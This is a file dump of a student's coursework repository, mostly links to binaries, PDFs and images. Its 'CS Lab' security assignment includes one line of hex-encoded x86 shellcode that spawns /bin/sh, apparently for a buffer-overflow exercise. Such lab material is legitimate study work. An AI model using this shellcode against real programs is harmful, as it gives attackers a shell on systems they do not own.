-------------------------------------------------------------------------------- /S4/CO/NASM/Assignment_5/8.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S4/CO/NASM/Assignment_5/8.o -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_2/a.out: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S7/CS Lab/Assignment_2/a.out -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_2/data: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S7/CS Lab/Assignment_2/data -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_2/exit: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S7/CS Lab/Assignment_2/exit -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_2/temp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S7/CS Lab/Assignment_2/temp -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_2/testsc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S7/CS Lab/Assignment_2/testsc -------------------------------------------------------------------------------- /S8/IIS/Assignment_IIS_II.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S8/IIS/Assignment_IIS_II.pdf -------------------------------------------------------------------------------- /S4/CO/NASM/Assignment_3/q7.aos: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S4/CO/NASM/Assignment_3/q7.aos -------------------------------------------------------------------------------- /S4/CO/NASM/Assignment_4/10.aos: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S4/CO/NASM/Assignment_4/10.aos -------------------------------------------------------------------------------- /S4/CO/NASM/Assignment_4/float.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S4/CO/NASM/Assignment_4/float.o -------------------------------------------------------------------------------- /S5/OSTheory/Assignment_3/Q1/ci: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S5/OSTheory/Assignment_3/Q1/ci -------------------------------------------------------------------------------- /S5/OSTheory/Assignment_3/Q1/st: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S5/OSTheory/Assignment_3/Q1/st -------------------------------------------------------------------------------- /S5/OSTheory/Assignment_3/Q1/ta: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S5/OSTheory/Assignment_3/Q1/ta -------------------------------------------------------------------------------- /S5/OSTheory/Assignment_3/Q3/q3: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S5/OSTheory/Assignment_3/Q3/q3 -------------------------------------------------------------------------------- /S7/AI/Assignment_1/Q1/AI_Q1.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S7/AI/Assignment_1/Q1/AI_Q1.pdf -------------------------------------------------------------------------------- /S7/AI/Assignment_1/Q2/AI_Q2.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S7/AI/Assignment_1/Q2/AI_Q2.pdf -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_2/example1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S7/CS Lab/Assignment_2/example1 -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_2/example2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S7/CS Lab/Assignment_2/example2 -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_2/example3: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S7/CS Lab/Assignment_2/example3 -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_2/make: -------------------------------------------------------------------------------- 1 | import os 2 | import sys 3 | 4 | os.system(f"gcc -m32 {sys.argv[0]}.c -o {sys.argv[0]}") -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_2/nShellCode: -------------------------------------------------------------------------------- 1 | eb1f5e89760831c089460c884607b00b89f38d4e088d560ccd8031db89d840cd80e8dcffffff2f62696e2f7368 -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_2/q2_temp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S7/CS Lab/Assignment_2/q2_temp -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_2/q3_temp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S7/CS Lab/Assignment_2/q3_temp -------------------------------------------------------------------------------- /S8/IIS/Submission/Template.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S8/IIS/Submission/Template.pdf -------------------------------------------------------------------------------- /S4/CO/NASM/Assignment_4/.1.asm.swp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S4/CO/NASM/Assignment_4/.1.asm.swp -------------------------------------------------------------------------------- /S4/CO/NASM/Assignment_4/Prac/1.aos: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S4/CO/NASM/Assignment_4/Prac/1.aos -------------------------------------------------------------------------------- /S4/CO/NASM/Assignment_4/Prac/1.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S4/CO/NASM/Assignment_4/Prac/1.o -------------------------------------------------------------------------------- /S4/CO/NASM/Assignment_4/Prac/1_0.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S4/CO/NASM/Assignment_4/Prac/1_0.o -------------------------------------------------------------------------------- /S4/CO/NASM/Assignment_4/Prac/2.aos: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S4/CO/NASM/Assignment_4/Prac/2.aos -------------------------------------------------------------------------------- /S4/CO/NASM/Assignment_4/Prac/2.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S4/CO/NASM/Assignment_4/Prac/2.o -------------------------------------------------------------------------------- /S4/CO/NASM/Assignment_4/Prac/9.aos: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S4/CO/NASM/Assignment_4/Prac/9.aos -------------------------------------------------------------------------------- /S4/CO/NASM/Assignment_4/Prac/9.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S4/CO/NASM/Assignment_4/Prac/9.o -------------------------------------------------------------------------------- /S4/CO/NASM/Assignment_4/float.aos: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S4/CO/NASM/Assignment_4/float.aos -------------------------------------------------------------------------------- /S5/OSTheory/Assignment_3/Q1/q1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S5/OSTheory/Assignment_3/Q1/q1.png -------------------------------------------------------------------------------- /S5/OSTheory/Assignment_3/Q2/a.out: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S5/OSTheory/Assignment_3/Q2/a.out -------------------------------------------------------------------------------- /S5/OSTheory/Assignment_3/Q2/q2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S5/OSTheory/Assignment_3/Q2/q2.png -------------------------------------------------------------------------------- /S5/OSTheory/Assignment_3/Q3/q3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S5/OSTheory/Assignment_3/Q3/q3.png -------------------------------------------------------------------------------- /S5/OSTheory/CharacterDriver/a.out: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S5/OSTheory/CharacterDriver/a.out -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_2/shellcode: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S7/CS Lab/Assignment_2/shellcode -------------------------------------------------------------------------------- /S7/ML/Assignment_1/Q1/ML_A1_Q1.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S7/ML/Assignment_1/Q1/ML_A1_Q1.pdf -------------------------------------------------------------------------------- /S7/ML/Assignment_1/Q2/ML_A1_Q2.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S7/ML/Assignment_1/Q2/ML_A1_Q2.pdf -------------------------------------------------------------------------------- /S4/CO/MIPS/Assignment_I/Final/q1.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S4/CO/MIPS/Assignment_I/Final/q1.jpg -------------------------------------------------------------------------------- /S4/CO/MIPS/Assignment_I/Final/q2.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S4/CO/MIPS/Assignment_I/Final/q2.jpg -------------------------------------------------------------------------------- /S4/CO/MIPS/Assignment_I/Final/q3.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S4/CO/MIPS/Assignment_I/Final/q3.jpg -------------------------------------------------------------------------------- /S4/CO/MIPS/Assignment_I/Final/q4.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S4/CO/MIPS/Assignment_I/Final/q4.jpg -------------------------------------------------------------------------------- /S4/CO/MIPS/Assignment_I/Final/q5.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S4/CO/MIPS/Assignment_I/Final/q5.jpg -------------------------------------------------------------------------------- /S4/CO/NASM/Assignment_4/Prac/1_0.aos: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S4/CO/NASM/Assignment_4/Prac/1_0.aos -------------------------------------------------------------------------------- /S5/OSTheory/PipeCommunication/Q1/p1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S5/OSTheory/PipeCommunication/Q1/p1 -------------------------------------------------------------------------------- /S5/OSTheory/PipeCommunication/Q1/p2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S5/OSTheory/PipeCommunication/Q1/p2 -------------------------------------------------------------------------------- /S5/OSTheory/PipeCommunication/Q1/p3: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S5/OSTheory/PipeCommunication/Q1/p3 -------------------------------------------------------------------------------- /S5/OSTheory/PipeCommunication/Q2/p1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S5/OSTheory/PipeCommunication/Q2/p1 -------------------------------------------------------------------------------- /S5/OSTheory/PipeCommunication/Q2/p2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S5/OSTheory/PipeCommunication/Q2/p2 -------------------------------------------------------------------------------- /S5/OSTheory/PipeCommunication/Q2/p3: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S5/OSTheory/PipeCommunication/Q2/p3 -------------------------------------------------------------------------------- /S6/IP-Lab/Assignment1/images/cat.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S6/IP-Lab/Assignment1/images/cat.jpg -------------------------------------------------------------------------------- /S7/AI/Assignment_1/Q1/Output_Q1.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S7/AI/Assignment_1/Q1/Output_Q1.txt -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_2/shellcodeasm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S7/CS Lab/Assignment_2/shellcodeasm -------------------------------------------------------------------------------- /S7/ML/Assignment_1/MLAssignment1.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S7/ML/Assignment_1/MLAssignment1.pdf -------------------------------------------------------------------------------- /S4/CO/NASM/Assignment_4/.float.asm.swp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S4/CO/NASM/Assignment_4/.float.asm.swp -------------------------------------------------------------------------------- /S4/DSA/Assignment_4/Intermediate/1.aos: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S4/DSA/Assignment_4/Intermediate/1.aos -------------------------------------------------------------------------------- /S4/DSA/Assignment_4/Intermediate/2.aos: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S4/DSA/Assignment_4/Intermediate/2.aos -------------------------------------------------------------------------------- /S4/DSA/Assignment_4/Intermediate/3.aos: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S4/DSA/Assignment_4/Intermediate/3.aos -------------------------------------------------------------------------------- /S4/DSA/Assignment_4/Intermediate/4.aos: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S4/DSA/Assignment_4/Intermediate/4.aos -------------------------------------------------------------------------------- /S5/OSTheory/PipeCommunication/Q1/a.out: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S5/OSTheory/PipeCommunication/Q1/a.out -------------------------------------------------------------------------------- /S5/WebP/Assg3_4_HTML/1 Monsoon 2021.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S5/WebP/Assg3_4_HTML/1 Monsoon 2021.pdf -------------------------------------------------------------------------------- /S5/WebP/Assg3_4_HTML/2 Monsoon 2021.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S5/WebP/Assg3_4_HTML/2 Monsoon 2021.pdf -------------------------------------------------------------------------------- /S5/WebP/CSS_Exercise/css-exercise.docx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S5/WebP/CSS_Exercise/css-exercise.docx -------------------------------------------------------------------------------- /S6/IP-Lab/Assignment1/images/boat.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S6/IP-Lab/Assignment1/images/boat.jpg -------------------------------------------------------------------------------- /S6/IP-Lab/Assignment1/images/frog.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S6/IP-Lab/Assignment1/images/frog.jpg -------------------------------------------------------------------------------- /S6/IP-Lab/Assignment1/images/fruits.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S6/IP-Lab/Assignment1/images/fruits.jpg -------------------------------------------------------------------------------- /S6/IP-Lab/Assignment1/images/head.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S6/IP-Lab/Assignment1/images/head.jpg -------------------------------------------------------------------------------- /S6/IP-Lab/Assignment1/images/lenna.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S6/IP-Lab/Assignment1/images/lenna.jpg -------------------------------------------------------------------------------- /S6/IP-Lab/Assignment1/output/image1.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S6/IP-Lab/Assignment1/output/image1.jpg -------------------------------------------------------------------------------- /S6/IP-Lab/Assignment1/output/image2.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S6/IP-Lab/Assignment1/output/image2.jpg -------------------------------------------------------------------------------- /S6/IP-Lab/Assignment1/output/image3.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S6/IP-Lab/Assignment1/output/image3.jpg -------------------------------------------------------------------------------- /S6/IP-Lab/Assignment1/output/image4.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S6/IP-Lab/Assignment1/output/image4.jpg -------------------------------------------------------------------------------- /S6/IP-Lab/Assignment1/output/image5.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S6/IP-Lab/Assignment1/output/image5.jpg -------------------------------------------------------------------------------- /S6/IP-Lab/Assignment1/output/image6.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S6/IP-Lab/Assignment1/output/image6.jpg -------------------------------------------------------------------------------- /S6/IP-Lab/Assignment1/output/image7.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S6/IP-Lab/Assignment1/output/image7.jpg -------------------------------------------------------------------------------- /S6/IP-Lab/Assignment1/output/image8.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S6/IP-Lab/Assignment1/output/image8.jpg -------------------------------------------------------------------------------- /S6/IP-Lab/Assignment1/output/image9.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S6/IP-Lab/Assignment1/output/image9.jpg -------------------------------------------------------------------------------- /S7/AI/Assignment_1/AI-Assignment1.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S7/AI/Assignment_1/AI-Assignment1.pdf -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_2/shellcodeasm_2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S7/CS Lab/Assignment_2/shellcodeasm_2 -------------------------------------------------------------------------------- /S8/IIS/Submission/Screenshots/ECC.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S8/IIS/Submission/Screenshots/ECC.jpg -------------------------------------------------------------------------------- /S8/IIS/Submission/Screenshots/RSA.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S8/IIS/Submission/Screenshots/RSA.jpg -------------------------------------------------------------------------------- /S4/CO/NASM/Assignment_3/Assignment 3.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S4/CO/NASM/Assignment_3/Assignment 3.pdf -------------------------------------------------------------------------------- /S4/CO/NASM/Assignment_4/Assignment 4.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S4/CO/NASM/Assignment_4/Assignment 4.pdf -------------------------------------------------------------------------------- /S4/CO/NASM/Assignment_4/NASM Tutorial.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S4/CO/NASM/Assignment_4/NASM Tutorial.pdf -------------------------------------------------------------------------------- /S4/CO/NASM/Assignment_5/Assignment 5.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S4/CO/NASM/Assignment_5/Assignment 5.pdf -------------------------------------------------------------------------------- /S4/DSA/Assignment_4/Intermediate/4_0.aos: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S4/DSA/Assignment_4/Intermediate/4_0.aos -------------------------------------------------------------------------------- /S5/NTC/B180341CS_AJAY/B180341CS_AJAY.rar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S5/NTC/B180341CS_AJAY/B180341CS_AJAY.rar -------------------------------------------------------------------------------- /S5/WebP/Assg3_4_HTML/Code/img/image1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S5/WebP/Assg3_4_HTML/Code/img/image1.png -------------------------------------------------------------------------------- /S6/IP-Lab/Assignment1/images/Paolina.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S6/IP-Lab/Assignment1/images/Paolina.jpg -------------------------------------------------------------------------------- /S6/IP-Lab/Assignment1/images/barbara.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S6/IP-Lab/Assignment1/images/barbara.jpg -------------------------------------------------------------------------------- /S6/IP-Lab/Assignment1/images/einstein.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S6/IP-Lab/Assignment1/images/einstein.jpg -------------------------------------------------------------------------------- /S6/IP-Lab/Assignment1/images/goldhill.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S6/IP-Lab/Assignment1/images/goldhill.jpg -------------------------------------------------------------------------------- /S6/IP-Lab/Assignment1/images/mandrill.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S6/IP-Lab/Assignment1/images/mandrill.jpg -------------------------------------------------------------------------------- /S6/IP-Lab/Assignment1/images/monalisa.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S6/IP-Lab/Assignment1/images/monalisa.jpg -------------------------------------------------------------------------------- /S6/IP-Lab/Assignment1/images/peppers.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S6/IP-Lab/Assignment1/images/peppers.jpg -------------------------------------------------------------------------------- /S6/IP-Lab/Assignment1/output/image10.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S6/IP-Lab/Assignment1/output/image10.jpg -------------------------------------------------------------------------------- /S6/IP-Lab/Assignment1/output/image11.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S6/IP-Lab/Assignment1/output/image11.jpg -------------------------------------------------------------------------------- /S6/IP-Lab/Assignment1/output/image12.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S6/IP-Lab/Assignment1/output/image12.jpg -------------------------------------------------------------------------------- /S6/IP-Lab/Assignment1/output/image13.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S6/IP-Lab/Assignment1/output/image13.jpg -------------------------------------------------------------------------------- /S6/IP-Lab/Assignment1/output/image14.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S6/IP-Lab/Assignment1/output/image14.jpg -------------------------------------------------------------------------------- /S6/IP-Lab/Assignment1/output/image15.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S6/IP-Lab/Assignment1/output/image15.jpg -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_4/Assignment_IV.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S7/CS Lab/Assignment_4/Assignment_IV.pdf -------------------------------------------------------------------------------- /S8/IIS/Submission/Screenshots/DS_ECC.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S8/IIS/Submission/Screenshots/DS_ECC.jpg -------------------------------------------------------------------------------- /S8/IIS/Submission/Screenshots/DS_RSA.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S8/IIS/Submission/Screenshots/DS_RSA.jpg -------------------------------------------------------------------------------- /S8/IIS/Submission/Screenshots/ElGamal.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S8/IIS/Submission/Screenshots/ElGamal.jpg -------------------------------------------------------------------------------- /S5/NTC/B180341CS_AJAY/B180341CS_AJAY_1_i.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S5/NTC/B180341CS_AJAY/B180341CS_AJAY_1_i.jpg -------------------------------------------------------------------------------- /S5/NTC/B180341CS_AJAY/B180341CS_AJAY_2_i.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S5/NTC/B180341CS_AJAY/B180341CS_AJAY_2_i.jpg -------------------------------------------------------------------------------- /S5/NTC/B180341CS_AJAY/B180341CS_AJAY_3_i.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S5/NTC/B180341CS_AJAY/B180341CS_AJAY_3_i.jpg -------------------------------------------------------------------------------- /S5/NTC/B180341CS_AJAY/B180341CS_AJAY_4_i.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S5/NTC/B180341CS_AJAY/B180341CS_AJAY_4_i.jpg -------------------------------------------------------------------------------- /S5/NTC/B180341CS_AJAY/B180341CS_AJAY_5_i.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S5/NTC/B180341CS_AJAY/B180341CS_AJAY_5_i.jpg -------------------------------------------------------------------------------- /S5/NTC/B180341CS_AJAY/B180341CS_AJAY_6_i.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S5/NTC/B180341CS_AJAY/B180341CS_AJAY_6_i.jpg -------------------------------------------------------------------------------- /S6/IP-Lab/Assignment1/images/arctichare.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S6/IP-Lab/Assignment1/images/arctichare.jpg -------------------------------------------------------------------------------- /S6/IP-Lab/Assignment1/images/cameraman.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S6/IP-Lab/Assignment1/images/cameraman.jpg -------------------------------------------------------------------------------- /S8/IIS/Submission/B180341CS_AJAY_Assig2.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S8/IIS/Submission/B180341CS_AJAY_Assig2.pdf -------------------------------------------------------------------------------- /S8/IIS/Submission/Screenshots/DS_ElGamal.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S8/IIS/Submission/Screenshots/DS_ElGamal.jpg -------------------------------------------------------------------------------- /S5/NTC/.ipynb_checkpoints/Untitled-checkpoint.ipynb: -------------------------------------------------------------------------------- 1 | { 2 | "cells": [], 3 | "metadata": {}, 4 | "nbformat": 4, 5 | "nbformat_minor": 2 6 | } 7 | -------------------------------------------------------------------------------- /S5/NTC/B180341CS_AJAY/B180341CS_AJAY_1_ii.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S5/NTC/B180341CS_AJAY/B180341CS_AJAY_1_ii.jpg -------------------------------------------------------------------------------- /S5/NTC/B180341CS_AJAY/B180341CS_AJAY_2_ii.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S5/NTC/B180341CS_AJAY/B180341CS_AJAY_2_ii.jpg -------------------------------------------------------------------------------- /S5/NTC/B180341CS_AJAY/B180341CS_AJAY_3_ii.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S5/NTC/B180341CS_AJAY/B180341CS_AJAY_3_ii.jpg -------------------------------------------------------------------------------- /S5/NTC/B180341CS_AJAY/B180341CS_AJAY_4_ii.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S5/NTC/B180341CS_AJAY/B180341CS_AJAY_4_ii.jpg -------------------------------------------------------------------------------- /S5/NTC/B180341CS_AJAY/B180341CS_AJAY_5_ii.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S5/NTC/B180341CS_AJAY/B180341CS_AJAY_5_ii.jpg -------------------------------------------------------------------------------- /S5/NTC/B180341CS_AJAY/B180341CS_AJAY_6_ii.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S5/NTC/B180341CS_AJAY/B180341CS_AJAY_6_ii.jpg -------------------------------------------------------------------------------- /S5/NTC/B180341CS_AJAY/B180341CS_AJAY_6_iii.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S5/NTC/B180341CS_AJAY/B180341CS_AJAY_6_iii.jpg -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_3/OWASP__CSL_2021_22_.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/HEAD/S7/CS Lab/Assignment_3/OWASP__CSL_2021_22_.pdf -------------------------------------------------------------------------------- /S8/Cloud/t2.py: -------------------------------------------------------------------------------- 1 | import time 2 | 3 | print("Hello World",end="") 4 | 5 | for i in range(100) : 6 | print(f'\r{i}\n',end="") 7 | time.sleep(0.5) -------------------------------------------------------------------------------- /S5/WebP/Assg2-WebServer/httpServer/.vscode/settings.json: -------------------------------------------------------------------------------- 1 | { 2 | "python.pythonPath": 